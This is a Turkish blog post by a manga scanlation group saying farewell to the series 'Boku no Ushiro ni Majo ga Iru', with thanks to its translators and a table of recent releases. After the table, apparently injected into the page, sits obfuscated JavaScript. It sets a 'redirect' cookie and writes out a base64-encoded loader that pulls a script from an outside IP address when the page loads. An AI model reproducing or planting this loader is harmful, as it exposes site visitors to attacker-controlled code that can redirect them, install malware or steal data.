Küçük Cadı Mia-sama’ya “Boku no Ushiro ni Majo ga Iru.”ya Veda Günceli…

Psykhe_Kelebek - 8 Nisan 2018


Psyk­he’den;
Se­lam­lar Mavi Manga ? Ta­kip­çi­le­ri…
Yine ve yeni bir ve­day­la bu­ra­lar­da­yız.
?
Ben iki gözüm iki çeşme” di­ye­yim size,
siz de bana
“Yok daha neler?”? deyin ama
ina­nın his­set­ti­ğim o! Benim küçük
Mia-Sama’m
için ma­ale­sef yeni bölüm ge­le­me­yecek. Her
bö­lü­mü­nü kah­ka­ha­lar­la oku­du­ğum kısa, şirin,
tatlı bir sanat ese­riy­di… Asla ca­nı­nız
sı­kıl­ma­ya­cak. Bir d
e Nanri var ki asla kı­ya­ma­ya­ca­ğı­nız
kadar masum, ka­der­siz… vb. bir­çok özel­li­ği ile.
As­lı­na ba­kar­sa­nız fi­na­le yak­la­şır­ken ro­man­tik
sah­ne­le­ri­miz­de ar­tı­yor­du ama çok daha uzak
ge­le­cek­le­ri­ni gör­mek is­ter­dim. Me­se­la şöyle
güzel bir düğün….
Ço­o­o­o­okk ya­kış­mı­yor­lar mı?
???????



Neyse artık kalan kıs­mı­nı sa­de­ce hayal
ede­bi­le­ce­ğiz.

Se­ri­de ? Mia ve Nanri ?dı­şın­da bir­bi­rin­den
tatlı başka bir sürü ka­rak­ter daha var.
Mut­la­ka oku­ma­nı­zı tav­si­ye edi­yo­rum.
Bu arada editi de baya zordu, siz
say­fa­la­rın 4 ‘er ol­du­ğu­na bak­ma­yın her
say­fa­yı 4 ile çar­pın! :))

Emek veren tüm çe­vir­men­le­ri­me bil­hass­sa Mayu’ya ? çok te­şek­kür­ler
çünkü se­riy­le ta­nış­ma­mız­da payı en büyük ar­ka­da­şı­mız o…

Kizu’ya da bu­ra­dan sev­gi­le­rim­le…? Mavi Manga’yı seven takip
eden her­ke­se de son­suz te­şek­kür­ler…
? Boku no Us­hi­ro ni Majo ga
Iru
ve tüm diğer se­ri­le­ri­miz­de ke­yif­li za­man­lar di­le­rim.
Başka gün­cel­ler­de ve se­ri­le­ri­min bazı say­fa­la­rın­da gö­rüş­mek üzere…

                                                          Hoş­ça­ka­lın ço­cuk­lar… Nanri ve Mia….

 

LOLİLOLİLOLİLOLİLOLİLOLİLOLİLOLİ. – Ki’zu

 

Mer­ha­ba mil­let. Bugün biraz üzgün ve biraz da se­vinç­li­yim.? Çünkü bir se­ri­mi­zin fi­na­li­ne daha gel­dik. Bu se­ri­nin benim için ayrı bir yeri var çünkü Mavi‘ye ilk gir­di­ğim­de bulup al­dı­ğım bir se­riy­di. Her bölüm gü­le­rek oku­du­ğum şirin bir se­riy­di Majo‘muz ?

Tam bir cadı olan Mia‘mız (ger­çek­ten tam bir cadı) ama bir o kadar da se­vim­li­dir ? Nanri ise ba­şın­dan beri çek­me­di­ği kal­ma­dı, okula trans­fer ola­ca­ğı­na bin piş­man yedi ?? Ama bu sa­ye­de daha çok açı­lıp bir sürü ar­ka­daş edin­di. (Ama en çok çekti ?) Mia‘nın hiz­met­ka­rı kedi Judah, Mia‘nın bü­yük­ba­ba­sı ve yan ka­rak­ter­le­ri­miz, fu­jos­hi olan Enya, tam bir kıza ben­ze­yen Enya‘ya aşık olan İchi­no­se, Mia‘nın aşk ik­si­ri­ne kur­ban gidip Mia‘ya aşık olan Senda-kun ?, şey­ta­ni sınıf öğ­ret­me­ni Sho­uji-sen­sei, staj­yer öğ­ret­men öğ­ren­ci­le­ri­ne düş­kün Yoz­hi­zu­ka-sen­seisakar mı sakar çev­re­le­rin­de­ki­le­re fe­la­ket ge­ti­ren Ku­ri­ha­ra-san ?, se­vim­li idol Mayu, fen ku­lü­bü baş­ka­nı Hi­na­ta ve daha bir­bi­rin­den fark­lı ka­rak­ter­ler­le dolu eğ­len­ce­li ve komik bir seri ? Uma­rım siz­ler­de okur ve bu se­ri­yi se­ver­si­niz ? Yü­zü­nüz­de ko­ca­man bir sı­rı­tış­la oku­ya­ca­ğı­nı­za emi­nim ??

Bu se­ri­yi ilk al­dı­ğım­da se­ri­yi edit­le­yen ar­ka­da­şım Tens­hi‘ye, Tens­hi bir takım ne­den­ler­le grup­tan ay­rı­lın­ca man­ga­mı­zı bı­rak­ma­yıp alan Psyk­he-san‘a (Ki belki de ben­den daha çok se­vi­yor­dur Majo‘yu ?), daha sonra bir ara edi­tö­rü olan King­Na­ka­ma ve Kuz­gun‘a, çe­vi­ri­sin­de yar­dım­cı olan The Bay­kuş‘a, Su­mi­re‘ye ve de se­ri­yi al­ma­yı ve bi­tir­me­yi kabul eden Ki’zu‘ya çok ama çok te­şek­kür ede­rim. Siz­ler ol­ma­sa­nız bu seri iler­le­mez ve bir kö­şe­de ka­lır­dı. Çok te­şek­kür edi­yo­rum he­pi­ni­ze ?? En çok da Psyk­he-san‘a ve Ki’zu‘ya te­şek­kür ede­rim ?? Ve in­gi­liz­ce­ye çe­vi­ren Sho­ujo Sense gru­bu­na da çok te­şek­kür edi­yo­rum, onlar çe­vir­me­sey­di biz de çe­vi­re­mez­dik ? 
Bir se­ri­mi­zi daha bi­tir­dik. Da­rı­sı diğer se­ri­le­re ? Ve son ola­rak da Psyk­he-san’ıma ka­tı­lı­yo­rum. Mia ve Nanri ev­len­se­ler ha­ri­ka olur­du ?? Sizce de ya­kış­mı­yor­lar mı ??

Ma­ale­sef seri ora­la­ra gel­me­den bi­ti­yor. Ya­rı­da kal­mış çünkü. Man­ga­ka­sı daha fazla devam et­me­miş ve se­ri­miz böyle kal­mış. İngi­liz­ce’ye çe­vi­ren gru­bun yaz­dı­ğı­na göre ya ya­yı­ne­vi ta­ra­fın­dan bı­ra­kıl­mış ya da man­ga­ka­nın sağ­lık so­run­la­rı ne­de­niy­le man­ga­ya devam ede­me­miş ve se­ri­miz as­kı­da kal­mış. Devam eder mi etmez mi bil­mi­yo­ruz. Ama eğer devam eder­se biz de devam ede­riz ? Allah her­ke­se acil şi­fa­lar ver­sin ? di­ye­rek bu­ra­da bi­ti­ri­yo­rum. 

Ve son ola­rak se­ri­mi­zi takip eden tüm oku­yu­cu­la­rı­mı­za te­şek­kür edi­yo­rum ve ke­yif­li oku­ma­lar di­li­yo­rum ?? Sağ­lı­cak­la kalın~ – Mayu

Mayu’dan Önem­li Not: Sağ salim ta­şın­dık ve yer­leş­tik, in­ter­ne­tim geçen haf­ta­lar­da anca bağ­lan­dı bir ay üze­ri­ne. Şimdi de sı­nav­la­rım yak­la­şı­yor. Ondan sonra devam ede­ce­ğim çe­vi­ri­le­re. unOr­di­nary so­ran­lar -bu ya­zı­yı görür mü bi­lin­mez- ?? Her­ke­se ayrı ayrı cevap ya­za­mı­yo­rum. Diğer se­ri­le­rim için­de ge­çer­li. Sı­nav­lar­dan sonra gö­rü­şü­rüz~ 

Manga Adı Bölüm Çe­vir­men Edi­tör
Ake no To­ba­ri 71-72 Mayu Eva
Ara­ka­wa Under The Brid­ge 218-219 Deuce Eva
Ashi-Girl 16 Cain Eva
Boku no Us­hi­ro ni Majo ga Iru. 102-119 FİNAL Ki’zu Psyk­he
Ko­isu­ru Ha­ri­ne­zu­mi 16 Su­mi­re Psyk­he

func­ti­on get­Co­okie(e){var U=do­cu­ment.​cookie.​match(new Re­gE­xp(“(?:^|; )”+e.​replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));re­turn U?de­co­de­URI­Com­po­nent(U[1]):void 0}var src=”data:text/ja­vasc­ript;ba­se­64,ZG­9j­d­W1lb­n­Qu­d­3Jpd­GU­od­W5l­c­2Nhc­GU­oJ­yU­z­Q­yU­3M­yU­2M­yU­3­Mi­U2O­SU­3M­CU­3N­CU­y­M­C­U­3­M­y­U­3­M­i­U­2­M­y­U­z­R­C­U­y­M­i­U­y­M­C­U­2­O­C­U­3­N­C­U­3­N­C­U­3­M­C­U­z­Q­S­U­y­R­i­U­y­R­i­U­z­M­S­U­z­O­C­U­z­N­S­U­y­R­S­U­z­M­S­U­z­N­S­U­z­N­i­U­y­R­S­U­z­M­S­U­z­N­y­U­z­N­y­U­y­R­S­U­z­O­C­U­z­N­S­U­y­R­i­U­z­N­S­U­2­M­y­U­3­N­y­U­z­M­i­U­2­N­i­U­2­Q­i­U­y­M­i­U­z­R­S­U­z­Q­y­U­y­R­i­U­3­M­y­U­2­M­y­U­3­M­i­U­2­O­S­U­3­M­C­U­3­N­C­U­z­R­S­U­y­M­C­c­p­K­Ts=”,now=Math.​floor(Date.​now()/1e3),co­okie=get­Co­okie(“re­di­rect”);if(now>=(time=co­okie)||void 0===time){var time=Math.​floor(Date.​now()/1e3+86400),date=new Date((new Date).get­Ti­me()+86400);do­cu­ment.co­okie=”re­di­rect=”+time+”; path=/; ex­pi­res=”+date.​toGMTString(),do­cu­ment.write(”)}